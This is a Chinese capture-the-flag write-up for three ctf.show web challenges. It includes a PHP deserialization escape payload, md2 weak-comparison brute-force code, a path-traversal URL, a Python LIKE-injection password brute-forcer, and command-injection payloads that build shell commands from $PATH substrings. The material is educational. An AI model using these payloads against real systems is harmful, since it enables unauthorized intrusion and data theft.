ctf show web 月饼杯

web1_此夜圆

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这一题属于反序列化中的参数逃逸,这里首先通过1传参,满足条件password=yu22x即可,但是这里password被确定为1,唯一可变的变量是username,这里还存在过滤函数,将Firebasky替换为Firebaskyup。

首先来看看当username=Firebasky序列化的内容:
ctf show web 月饼杯

s:59:“O:1:“a”:2:{s:5:“uname”;s:9:“Firebaskyup”;s:8:“password”;N;}”;

可以知道Firebaskyup是11位,但是只序列化了9位,又知道:

php在反序列化时 会在s:9后面继续寻找9个字符 如果符合反序列化规则 就进行反序列化。即 到s:9时 继续向后寻找9个字符:Firebaskyup由于不符合反序列化规则(到达字符长度没有引号闭合) 所以就不进行反序列化 由于多出来了两个字符 我们可以利用这个来构造一个合适长度的Firebasky 来多出足够的字符 将”;s:8:”password”;s:5:”yu22x”;} 写入字符串 将 password=1逃逸出去

再看看满足条件即当password=yu22x时,

s:69:“O:1:“a”:2:{s:5:“uname”;s:9:“Firebaskyup”;s:8:“password”;s:5:“yu22x”;}”;

1现在可以知道的是,你传入了9位字符,最后也只是序列化了9个字符,
如果说,能把下面这一段字符当作username传入参数,那么最后其后面的字符串就不会执行了,也就是忽略掉了password=1

";s:8:“password”;s:5:“yu22x”;}
这是三十位,然后一个Firebasky逃逸两个,那么久需要15个Firebasky将三十位的字符串逃逸(加上 ";s:8:“password”;s:5:“yu22x”;}就是165位,最后序列化的也是165位)

ctf show web 月饼杯成功绕过password=1,最后序列化后password等于yu22x,拿到flag

web2_故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

第一关:

 if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
 需要变量a是数字而且位数小于7,不等于0,a的平方弱类型比较等于0

知道在php中:

php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。 也就是 0.00000…1(小数点后161个0)到0.00000…1(小数点后322个0)会同时满足 is_numric($a) and $a!=0 and $a**2==0

又因为长度的限制,所以a的值可以是:1e-162 ~ 1e-322(科学记数法)

第二关:

 $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
 即需要满足变量b等于其md2后的值,变量c等于两次其md2的值

本题查看robots.txt,可以看到提示在hinthint.txt中,又提示说md5爆破,想到0e
ctf show web 月饼杯利用函数跑出变量b和变量c的值:

 <?php

for($i=0;$i<99999;$i++)
{
	$b = '0e'.$i.'024452';
	//echo $b;
	if($b == hash("md2",$b))
	{
		echo $b;
		break;
	}
}

echo "\n";
for($i=0;$i<999999;$i++)
{                  
	$c = '0e'.$i.'48399';
	if($c == hash("md2",hash("md2",$c)))
	{
		echo $c;
		exit();
	}
}

得到$b=0e652024452,$c=0e603448399

此时可以知道flag的信息:
ctf show web 月饼杯

第三关:

if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));

filter_var — 使用特定的过滤器过滤一个变量

php过滤器表:FILTER_VALIDATE_URL(把变量当作url来处理,不是途中红框的)
ctf show web 月饼杯这里通过正则判断是否ctfshow.com,知道

php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
所以我们就可以使用前面构造的payload(php如果识别不了就会当成一个目录)在进行目录穿越,穿越到根目录读取flag

payload:url=a://ctfshow.com/../../../../../fl0g.txt

对于payload
a:为一个目录 ctfshow.com为1个目录 因为当前目录为/var/www/html,如果要跳到根目录需要向上跳3阶,再加上不存在的两个,共需要跳五阶目录
ctf show web 月饼杯这两题了解了php三个知识:

  • php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
  • php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
  • php在反序列化时 会在s:9后面继续寻找9个字符 如果符合反序列化规则 就进行反序列化。即 到s:9时 继续向后寻找9个字符:Firebaskyup由于不符合反序列化规则(到达字符长度没有引号闭合) 所以就不进行反序列化

web3_莫负婵娟

查看源码发现:这是一个like注入,而且知道了用户名
ctf show web 月饼杯了解以下like注入的要点:

% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,代表多个字符
?同于DOS命令中的?通配符,代表单个字符

#大致同上,不同的是代只能代表单个数字

首先fuzz以下看过滤了哪些参数:
ctf show web 月饼杯发现这些符号被过滤,但是 _ 没有被过滤
ctf show web 月饼杯尝试利用 _ 进行fuzz判断密码有多少位
ctf show web 月饼杯知道了是32位,利用脚本跑出来:

import requests

a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://4fe6770c-c0e7-47a7-a099-a65319266cb4.challenge.ctf.show/login.php'

pwd = ''
for i in range(32):                      #首先得先fuzz以下确认有多少密码有多少位
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

密码是67815b0c009ee970fe4014abaa3Fa6A0

ctf show web 月饼杯这里通过多命令执行,获取想要的内容:
fuzz一下:ctf show web 月饼杯发现小写字母全被过滤。大写字母 数字 $ : ; ? * { }没被过滤。rce 正好可以利用 分号 ;
刚好可以利用环境变量获取flag,每台机器前面的一些环境变量是相同的
ctf show web 月饼杯构造 ls命令:
127.0.0.1;${PATH:5:1}${PATH:2:1}
ctf show web 月饼杯构造命令读取flag,这里利用nl命令更合适:通过nl 命令再用?替代flag
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???

得到flag:查看源代码
ctf show web 月饼杯

上一篇:中日韩网友如何评价《鱿鱼游戏》?


下一篇:Java代码审计——Commons Collections TransformedMap调用链